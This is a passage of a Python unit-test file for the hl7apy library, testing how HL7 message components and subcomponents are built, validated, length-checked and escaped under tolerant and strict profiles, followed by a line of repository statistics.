self.assertRaises(ChildNotValid, c.add, SubComponent(datatype='ST'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_4')
c.add(SubComponent(datatype='ST'))
self.assertEquals(c.value, '&&&')
def test_add_known_subcomponent_to_empty_component(self):
c = Component()
self.assertRaises(ChildNotValid, c.add, SubComponent('fn_1'))
def test_add_not_allowed_subcomponent_to_known_component(self):
c = Component('cx_4', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, c.add, SubComponent('fn_1'))
c1 = Component('cx_4')
self.assertRaises(ChildNotValid, c1.add, SubComponent('fn_1'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_4')
self.assertRaises(ChildNotValid, c.add, SubComponent('fn_1'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_4')
self.assertRaises(ChildNotValid, c.add, SubComponent('fn_1'))
def test_assign_wrong_subcomponent_to_known_position(self):
c = Component('XPN_1')
with self.assertRaises(ChildNotValid):
c.fn_1 = SubComponent('hd_1')
c1 = Component('XPN_1', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(ChildNotValid):
c1.fn_1 = SubComponent('hd_1')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
with self.assertRaises(ChildNotValid):
c.cwe_1 = SubComponent('hd_1')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
with self.assertRaises(ChildNotValid):
c.cwe_1 = SubComponent('hd_1')
def test_access_to_unknown_subcomponent(self):
c1 = Component('XPN_1', validation_level=VALIDATION_LEVEL.STRICT)
c2 = Component('cx_4')
with self.assertRaises(ChildNotFound):
c1.fn_100
with self.assertRaises(ChildNotFound):
c2.hd_100
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
with self.assertRaises(ChildNotFound):
c.cwe_100
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
with self.assertRaises(ChildNotFound):
c.cwe_100
def test_access_to_wrong_subcomponent(self):
c1 = Component('XPN_1', validation_level=VALIDATION_LEVEL.STRICT)
c2 = Component('cx_4')
with self.assertRaises(ChildNotValid):
c1.cwe_1
with self.assertRaises(ChildNotValid):
c2.cx_1
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_4')
with self.assertRaises(ChildNotValid):
c.cx_1
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_4')
with self.assertRaises(ChildNotValid):
c.cx_1
def test_add_more_subcomponents_to_base_datatype_component(self):
c = Component(datatype='ST')
c.add(SubComponent(datatype='ST'))
self.assertRaises(MaxChildLimitReached, c.add, SubComponent(datatype='ST'))
# c1 = Component(datatype='ST', validation_level=VALIDATION_LEVEL.STRICT)
# self.assertRaises(ChildNotValid, c1.add, SubComponent(datatype='ST'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_2')
c.add(SubComponent(datatype='ST', validation_level=VALIDATION_LEVEL.STRICT))
self.assertRaises(MaxChildLimitReached, c.add, SubComponent(datatype='ST'))
def test_override_datatype(self):
c = Component('CX_1', validation_level=VALIDATION_LEVEL.TOLERANT)
c.datatype = 'TX'
self.assertEqual(c.datatype, 'TX')
c = Component('CX_1', datatype='TX', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertEqual(c.datatype, 'TX')
c = Component()
c.value = 'a&b'
with self.assertRaises(OperationNotAllowed):
c.datatype = 'TX'
c = Component('CX_1', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(OperationNotAllowed):
c.datatype = 'TX'
c1 = Component('CX_1', datatype='ST', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(OperationNotAllowed):
c1.datatype = 'TX'
self.assertRaises(OperationNotAllowed, Component, 'CX_1', datatype='TX',
validation_level=VALIDATION_LEVEL.STRICT)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_1')
c.datatype = 'TX'
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_1')
with self.assertRaises(OperationNotAllowed):
c.datatype = 'TX'
def test_add_unexpected_child_to_component(self):
g = Group()
m = Message('OML_O33')
f = Field()
c_base = Component(datatype='ST')
c_complex = Component(datatype='CWE')
self.assertRaises(ChildNotValid, c_base.add, g)
self.assertRaises(ChildNotValid, c_base.add, m)
self.assertRaises(ChildNotValid, c_base.add, f)
self.assertRaises(ChildNotValid, c_complex.add, g)
self.assertRaises(ChildNotValid, c_complex.add, m)
self.assertRaises(ChildNotValid, c_complex.add, f)
def test_delete_component(self):
m = Message('OML_O33')
m.pid = 'PID|||||bianchi^mario|||'
pid_5_1 = m.pid.pid_5.pid_5_1[0]
self.assertIn(pid_5_1, m.pid.pid_5.children)
del m.pid.pid_5.pid_5_1
self.assertNotIn(pid_5_1, m.pid.pid_5.children)
m = Message('RSP_K21', reference=self.rsp_k21_mp)
m.qpd = 'QPD|IHE PDQ Query|222222222|@PID.3.1.1^3333333|||||^^^IHEFACILITY&1.3.6.1.4.1.21367.3000.1.6&ISO|'
qpd_3_1 = m.qpd.qpd_3.qpd_3_1[0]
self.assertIn(qpd_3_1, m.qpd.qpd_3.children)
del m.qpd.qpd_3.qpd_3_1
self.assertNotIn(qpd_3_1, m.qpd.qpd_3.children)
def test_assign_complex_field_datatype_by_get(self):
p = Segment('PID')
p.pid_5 = 'test^test'
self.assertEqual(p.pid_5.xpn_1.to_er7(), 'test')
self.assertEqual(p.pid_5.xpn_2.to_er7(), 'test')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
p = m.rsp_k21_query_response.add_segment('pid')
p.pid_5 = 'test^test'
self.assertEqual(p.pid_5.xpn_1.to_er7(), 'test')
self.assertEqual(p.pid_5.xpn_2.to_er7(), 'test')
def test_create_base_datatype_component_by_get(self):
f = Field('SID_2')
f.sid_2_1 = 'field'
self.assertEqual(f.sid_2_1.to_er7(), 'field')
def test_add_subcomponent_to_unknown_base_dt_component(self):
c = Component(datatype='ST')
self.assertRaises(ChildNotValid, c.add_subcomponent, 'HD_1')
def test_add_subcomponent(self):
c = Component('XPN_1')
s = SubComponent('FN_1')
c.add(s)
self.assertIn(s, c.children)
self.assertEqual(c.children[0].name, 'FN_1')
c = Component('XPN_1')
s = c.add_subcomponent('FN_1')
self.assertIn(s, c.children)
self.assertEqual(c.children[0].name, 'FN_1')
m = Message('RSP_K21', reference=self.rsp_k21_mp)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_10')
s = SubComponent('CWE_1')
c.add(s)
self.assertIn(s, c.children)
self.assertEqual(c.children[0].name, 'CWE_1')
def test_assign_value_string(self):
# simple string
cmp_str = 'aaa'
# tolerant
c = Component('CWE_1', validation_level=VALIDATION_LEVEL.TOLERANT)
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
# strict
c = Component('CWE_1', validation_level=VALIDATION_LEVEL.STRICT)
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
# unknown
c = Component()
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
# complex string
cmp_str = '1&2'
# tolerant
c = Component('CWE_1', validation_level=VALIDATION_LEVEL.TOLERANT) # more child than allowed
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
self.assertEqual(len(c.children), 2)
# strict
c = Component('CWE_1', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(MaxChildLimitReached):
c.value = cmp_str
# unknown
c = Component('CWE_1', validation_level=VALIDATION_LEVEL.TOLERANT) # more child than allowed
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
self.assertEqual(len(c.children), 2)
# max length
# tolerant
for dt in ('ST', 'ID', 'FT', 'GTS', 'IS', 'TX'):
c = Component(datatype=dt, validation_level=VALIDATION_LEVEL.TOLERANT) # max length reached string type
c.value = 65537*'a'
for dt in ('NM', 'SI'):
c = Component(datatype=dt, validation_level=VALIDATION_LEVEL.TOLERANT)
c.value = 65537*'1'
# strict
c = Component(datatype='ID', validation_level=VALIDATION_LEVEL.STRICT) # ID works because its length depends on HL7 table
c.value = 65537*'a'
self.assertEqual(c.to_er7(), 65537*'a')
for dt in ('ST', 'FT', 'GTS', 'IS', 'TX'):
with self.assertRaises(MaxLengthReached):
c = Component(datatype=dt, validation_level=VALIDATION_LEVEL.STRICT) # max length reached string type
c.value = 65537*'a'
for dt in ('NM', 'SI'):
with self.assertRaises(MaxLengthReached):
c = Component(datatype=dt, validation_level=VALIDATION_LEVEL.STRICT)
c.value = 65537*'1'
# complex datatypes
# tolerant
complex_cmp_str = 'xxx&yyy&zzz'
c = Component('CX_10', validation_level=VALIDATION_LEVEL.TOLERANT)
c.value = complex_cmp_str
self.assertEqual(c.to_er7(), complex_cmp_str)
self.assertEqual(len(c.children), 3)
# strict
complex_cmp_str = 'xxx&yyy&zzz'
c = Component('CX_10', validation_level=VALIDATION_LEVEL.STRICT)
c.value = complex_cmp_str
self.assertEqual(c.to_er7(), complex_cmp_str)
self.assertEqual(len(c.children), 3)
# unknown
complex_cmp_str = 'xxx&yyy&zzz'
c = Component(validation_level=VALIDATION_LEVEL.TOLERANT)
c.value = complex_cmp_str
self.assertEqual(c.to_er7(), complex_cmp_str)
self.assertEqual(len(c.children), 3)
def test_assign_value_string_message_profile(self):
# TODO: test max_ length for every base datatype
# simple string
cmp_str = 'aaa'
# tolerant
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_2')
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
# strict
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_2')
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
# complex string
cmp_str = '1&2'
# tolerant
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_2')
c.value = cmp_str
self.assertEqual(c.to_er7(), cmp_str)
self.assertEqual(len(c.children), 2)
# strict
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_2')
with self.assertRaises(MaxChildLimitReached):
c.value = cmp_str
complex_cmp_str = 'xxx&yyy&zzz'
# tolerant
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_10')
c.value = complex_cmp_str
self.assertEqual(c.to_er7(), complex_cmp_str)
self.assertEqual(len(c.children), 3)
# strict
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_10')
c.value = complex_cmp_str
self.assertEqual(c.to_er7(), complex_cmp_str)
self.assertEqual(len(c.children), 3)
def test_assign_value_base_datatype(self):
# tolerant
c = Component('CX_1', validation_level=VALIDATION_LEVEL.TOLERANT)
c.value = ST('aaa')
self.assertEqual(c.to_er7(), 'aaa')
c.value = ST('bbb')
self.assertEqual(c.to_er7(), 'bbb')
with self.assertRaises(ChildNotValid):
c.value = SI(1)
# strict
c = Component('CX_1', validation_level=VALIDATION_LEVEL.STRICT)
c.value = ST('aaa')
self.assertEqual(c.to_er7(), 'aaa')
c.value = ST('bbb')
self.assertEqual(c.to_er7(), 'bbb')
with self.assertRaises(ChildNotValid):
c.value = SI(1)
# complex datatype
# tolerant
c = Component('CX_10', validation_level=VALIDATION_LEVEL.TOLERANT)
with self.assertRaises(ChildNotValid):
c.value = ST('aaa')
# strict
c = Component('CX_10', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(ChildNotValid):
c.value = ST('aaa')
def test_assign_value_base_datatype_message_profile(self):
# tolerant
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_1')
c.value = ST('aaa')
self.assertEqual(c.to_er7(), 'aaa')
c.value = ST('bbb')
self.assertEqual(c.to_er7(), 'bbb')
with self.assertRaises(ChildNotValid):
c.value = SI(1)
# strict
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_1')
c.value = ST('aaa')
self.assertEqual(c.to_er7(), 'aaa')
c.value = ST('bbb')
self.assertEqual(c.to_er7(), 'bbb')
with self.assertRaises(ChildNotValid):
c.value = SI(1)
# complex datatype
# tolerant
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_10')
with self.assertRaises(ChildNotValid):
c.value = ST('aaa')
# strict
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('qpd').add_field('qpd_8').add_component('cx_10')
with self.assertRaises(ChildNotValid):
c.value = ST('aaa')
def test_assign_value_traversal(self):
cmp_str = 'aaa'
# name
f = Field('PID_39')
f.cwe_1 = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# alternative name
f = Field('PID_39')
f.pid_39_1 = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# value
f = Field('PID_39')
f.cwe_1.value = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# value alternative name
f = Field('PID_39')
f.cwe_1.value = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# name with base datatype
f = Field('PID_39')
f.cwe_1 = ST(cmp_str)
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# value with base datatype
f = Field('PID_39')
f.cwe_1.value = ST(cmp_str)
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# further level
# name
m = Message('RSP_K21')
m.pid.pid_39.cwe_1 = cmp_str
self.assertEqual(m.pid.pid_39.cwe_1.to_er7(), cmp_str)
# value
m = Message('RSP_K21')
m.pid.pid_39.cwe_1.value = cmp_str
self.assertEqual(m.pid.pid_39.cwe_1.to_er7(), cmp_str)
# name with base datatype
m = Message('RSP_K21')
m.pid.pid_39.cwe_1 = ST(cmp_str)
self.assertEqual(m.pid.pid_39.cwe_1.to_er7(), cmp_str)
# value with base datatype
m = Message('RSP_K21')
m.pid.pid_39.cwe_1.value = ST(cmp_str)
self.assertEqual(m.pid.pid_39.cwe_1.to_er7(), cmp_str)
# complex datatype
complex_cmp_str = 'xxx&yyy&zzz'
# name
f = Field('PID_4')
f.cx_10 = complex_cmp_str
self.assertEqual(f.cx_10.to_er7(), complex_cmp_str)
self.assertEqual(len(f.cx_10.children), 3)
# value
f = Field('PID_4')
f.cx_10.value = complex_cmp_str
self.assertEqual(f.cx_10.to_er7(), complex_cmp_str)
self.assertEqual(len(f.cx_10.children), 3)
def test_assign_value_traversal_message_profile(self):
cmp_str = 'aaa'
# name
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_group('rsp_k21_query_response').add_segment('pid').add_field('pid_39')
f.cwe_1 = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# alternative name
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_group('rsp_k21_query_response').add_segment('pid').add_field('pid_39')
f.pid_39_1 = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_group('rsp_k21_query_response').add_segment('pid').add_field('pid_39')
f.cwe_1.value = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# value alternative name
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_group('rsp_k21_query_response').add_segment('pid').add_field('pid_39')
f.pid_39_1.value = cmp_str
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# name with base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_group('rsp_k21_query_response').add_segment('pid').add_field('pid_39')
f.cwe_1 = ST(cmp_str)
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# value with base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_group('rsp_k21_query_response').add_segment('pid').add_field('pid_39')
f.cwe_1.value = ST(cmp_str)
self.assertEqual(f.cwe_1.to_er7(), cmp_str)
# further level
# name
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.rsp_k21_query_response.pid.pid_39.cwe_1 = cmp_str
self.assertEqual(m.rsp_k21_query_response.pid.pid_39.cwe_1.to_er7(), cmp_str)
# value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.rsp_k21_query_response.pid.pid_39.cwe_1.value = cmp_str
self.assertEqual(m.rsp_k21_query_response.pid.pid_39.cwe_1.to_er7(), cmp_str)
# name with base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.rsp_k21_query_response.pid.pid_39.cwe_1 = ST(cmp_str)
self.assertEqual(m.rsp_k21_query_response.pid.pid_39.cwe_1.to_er7(), cmp_str)
# value with base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.rsp_k21_query_response.pid.pid_39.cwe_1.value = ST(cmp_str)
self.assertEqual(m.rsp_k21_query_response.pid.pid_39.cwe_1.to_er7(), cmp_str)
# complex datatype
complex_cmp_str = 'xxx&yyy&zzz'
# name
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_segment('qpd').add_field('qpd_8')
f.cx_10 = complex_cmp_str
self.assertEqual(f.cx_10.to_er7(), complex_cmp_str)
self.assertEqual(len(f.cx_10.children), 3)
# value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_segment('qpd').add_field('qpd_8')
f.cx_10.value = complex_cmp_str
self.assertEqual(f.cx_10.to_er7(), complex_cmp_str)
self.assertEqual(len(f.cx_10.children), 3)
def test_assign_value_with_encoding_chars(self):
cmp_str = 'xxx^yyy'
c = Component()
c.value = cmp_str
self.assertEqual(c.to_er7(), 'xxx\S\yyy')
c = Component('CWE_1')
c.value = cmp_str
self.assertEqual(c.to_er7(), 'xxx\S\yyy')
c = Component('CWE_1', validation_level=VALIDATION_LEVEL.STRICT)
c.value = cmp_str
self.assertEqual(c.to_er7(), 'xxx\S\yyy')
def test_bug_13(self):
c = Component('CX_10')
s = c.cwe_1
self.assertEqual(id(c.cwe_1), id(s))
c.cwe_1 = 'b'
self.assertEqual(s.children, c.cwe_1.children)
def test_assign_value_with_unknown_subcomponent(self):
c = Component(datatype='CE')
c.value = '555-55-5555&PRIMARY&PATRICIA P&6&&MD&UNKN'
self.assertEqual(c.children[-1].name, 'ST')
self.assertEqual(c.children[-1].datatype, 'ST')
self.assertEqual(c.children[-1].to_er7(), 'UNKN')
self.assertEqual(c.value, '555-55-5555&PRIMARY&PATRICIA P&6&&MD&UNKN')
class TestSubComponent(unittest.TestCase):
def setUp(self):
base_path = os.path.abspath(os.path.dirname(__file__))
path = os.path.join(base_path, 'profiles/iti_21')
self.rsp_k21_mp = hl7apy.load_message_profile(path)
def test_create_subcomponent(self):
a = SubComponent('HD_1', datatype='ST')
self.assertEqual(a.classname, 'SubComponent')
b = SubComponent(datatype='ST')
self.assertEqual(b.classname, 'SubComponent')
def test_create_unknown_subcomponent(self):
self.assertRaises(InvalidName, SubComponent, 'xxx_1')
self.assertRaises(InvalidName, SubComponent, 'CX')
def test_create_invalid_subcomponent_empty(self):
self.assertRaises(OperationNotAllowed, SubComponent)
def test_create_invalid_subcomponent_with_complex_component_name(self):
self.assertRaises(OperationNotAllowed, SubComponent, 'CX_4', datatype='ST')
def test_create_unsupported_version_subcomponent(self):
SubComponent(datatype='ST', version='2.5')
self.assertRaises(UnsupportedVersion, SubComponent, datatype='ST', version='2.0')
def test_override_datatype(self):
s = SubComponent('HD_1', datatype='TX', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertEqual(s.datatype, 'TX')
self.assertRaises(OperationNotAllowed, SubComponent, 'HD_1', datatype='TX',
validation_level=VALIDATION_LEVEL.STRICT)
s = SubComponent('HD_1', validation_level=VALIDATION_LEVEL.TOLERANT)
s.datatype = 'TX'
self.assertEqual(s.datatype, 'TX')
s = SubComponent('HD_1', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(OperationNotAllowed):
s.datatype = 'TX'
s = SubComponent(datatype='ST', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(OperationNotAllowed):
s.datatype = 'TX'
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
s = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10').add_subcomponent('CWE_1')
s.datatype = 'TX'
self.assertEqual(s.datatype, 'TX')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
s = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10').add_subcomponent('CWE_1')
with self.assertRaises(OperationNotAllowed):
s.datatype = 'TX'
def test_change_datatype_for_valued_subcomponent(self):
a = SubComponent('HD_1', value='value')
with self.assertRaises(OperationNotAllowed):
a.datatype = 'ST'
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
s = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10').add_subcomponent('CWE_1')
s.value = 'value'
with self.assertRaises(OperationNotAllowed):
s.datatype = 'TX'
def test_assign_not_allowed_datatype_to_subcomponent(self):
a = SubComponent('HD_1')
with self.assertRaises(OperationNotAllowed):
a.datatype = 'CX'
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
s = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10').add_subcomponent('CWE_1')
with self.assertRaises(OperationNotAllowed):
s.datatype = 'CX'
def test_assign_value_traversal(self):
subcmp_str = 'aaa'
c = Component('CX_10')
c.cwe_1 = subcmp_str
self.assertEqual(c.to_er7(), subcmp_str)
c = Component('CX_10')
c.cwe_1.value = subcmp_str
self.assertEqual(c.to_er7(), subcmp_str)
c = Component('CX_10')
c.cwe_1 = ST(subcmp_str)
self.assertEqual(c.to_er7(), subcmp_str)
c = Component('CX_10')
c.cwe_1.value = ST(subcmp_str)
self.assertEqual(c.to_er7(), subcmp_str)
# further level
segment_str = 'PID||||^^^^^^^^^aaa'
s = Segment('PID')
s.pid_4.pid_4_10_1 = subcmp_str
self.assertEqual(s.to_er7(), segment_str)
s = Segment('PID')
s.pid_4.pid_4_10_1.value = subcmp_str
self.assertEqual(s.to_er7(), segment_str)
s = Segment('PID')
s.pid_4.pid_4_10_1.value = ST(subcmp_str)
self.assertEqual(s.to_er7(), segment_str)
s = Segment('PID')
s.pid_4.pid_4_10_1.value = ST(subcmp_str)
self.assertEqual(s.to_er7(), segment_str)
def test_assign_value_traversal_message_profile(self):
subcmp_str = 'aaa'
# string
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
c.cwe_1 = subcmp_str
self.assertEqual(c.cwe_1.to_er7(), subcmp_str)
# string using value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
c.cwe_1.value = subcmp_str
self.assertEqual(c.cwe_1.to_er7(), subcmp_str)
# base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
c.cwe_1 = ST(subcmp_str)
self.assertEqual(c.cwe_1.to_er7(), subcmp_str)
# base datatype using value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_10')
c.cwe_1.value = ST(subcmp_str)
self.assertEqual(c.cwe_1.to_er7(), subcmp_str)
# further levels
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.qpd.qpd_8.qpd_8_10_1 = subcmp_str
self.assertEqual(m.qpd.qpd_8.cx_10.cwe_1.to_er7(), subcmp_str)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.qpd.qpd_8.qpd_8_10_1.value = subcmp_str
self.assertEqual(m.qpd.qpd_8.cx_10.cwe_1.to_er7(), subcmp_str)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.qpd.qpd_8.qpd_8_10_1 = ST(subcmp_str)
self.assertEqual(m.qpd.qpd_8.cx_10.cwe_1.to_er7(), subcmp_str)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.qpd.qpd_8.qpd_8_10_1.value = ST(subcmp_str)
self.assertEqual(m.qpd.qpd_8.cx_10.cwe_1.to_er7(), subcmp_str)
def test_assign_value(self):
# tolerant
cmp_str = 'aaa'
s = SubComponent('CWE_1')
s.value = cmp_str
self.assertEqual(s.to_er7(), cmp_str)
s = SubComponent('CWE_1') # more child than allowed
s.value = '1&2'
for dt in ('ST', 'ID', 'FT', 'GTS', 'IS', 'TX'):
s = SubComponent(datatype=dt) # max length reached string type
s.value = 65537*'a'
for dt in ('NM', 'SI'):
s = SubComponent(datatype=dt)
s.value = 65537*'1'
# strict
s = SubComponent('CWE_1', validation_level=VALIDATION_LEVEL.STRICT)
s.value = cmp_str
self.assertEqual(s.to_er7(), cmp_str)
# ID is missing because its max length is None
for dt in ('ST', 'FT', 'GTS', 'IS', 'TX'):
# max length reached string type
s = SubComponent(datatype=dt, validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(MaxLengthReached):
s.value = 65537*'a'
for dt in ('SI',):
s = SubComponent(datatype=dt, validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(MaxLengthReached):
s.value = 65537*'1'
def test_add_child_to_subcomponent(self):
a = SubComponent('HD_1')
self.assertRaises(OperationNotAllowed, a.add, SubComponent('HD_2'))
def test_create_subcomponent_by_get(self):
p = Segment('PID')
self.assertEqual(p.pid_5.pid_5_1.fn_1.name, 'FN_1')
self.assertEqual(p.pid_5.pid_5_1_1.name, 'FN_1')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
p = m.rsp_k21_query_response.pid
self.assertEqual(p.pid_5.pid_5_1.fn_1.name, 'FN_1')
self.assertEqual(p.pid_5.pid_5_1_1.name, 'FN_1')
def create_unknown_subcomponent_by_get(self):
f = Field('STF_2')
with self.assertRaises(ChildNotFound):
f.stf_2_10_100 = 'subcomponent'
if __name__ == '__main__':
unittest.main()
| 42.526168 | 248 | 0.655869 | 12,321 | 91,006 | 4.586397 | 0.043828 | 0.136438 | 0.112371 | 0.134846 | 0.832381 | 0.768479 | 0.714223 | 0.689129 | 0.636129 | 0.572281 | 0 | 0.051524 | 0.212415 | 91,006 | 2,139 | 249 | 42.54605 | 0.736882 | 0.052304 | 0 | 0.614801 | 0 | 0.023403 | 0.120279 | 0.057729 | 0 | 0 | 0 | 0.000468 | 0.295383 | 1 | 0.086654 | false | 0 | 0.006325 | 0.003163 | 0.099937 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ec08a77a7361cede39f79c1d8a9087df5f774999 | 2,912 | py | Python | text_tokenizers.py | kotikkonstantin/convasr | 3d4d7f3627269372ae1eb7ff7423b29838f47ac0 | [
"MIT"
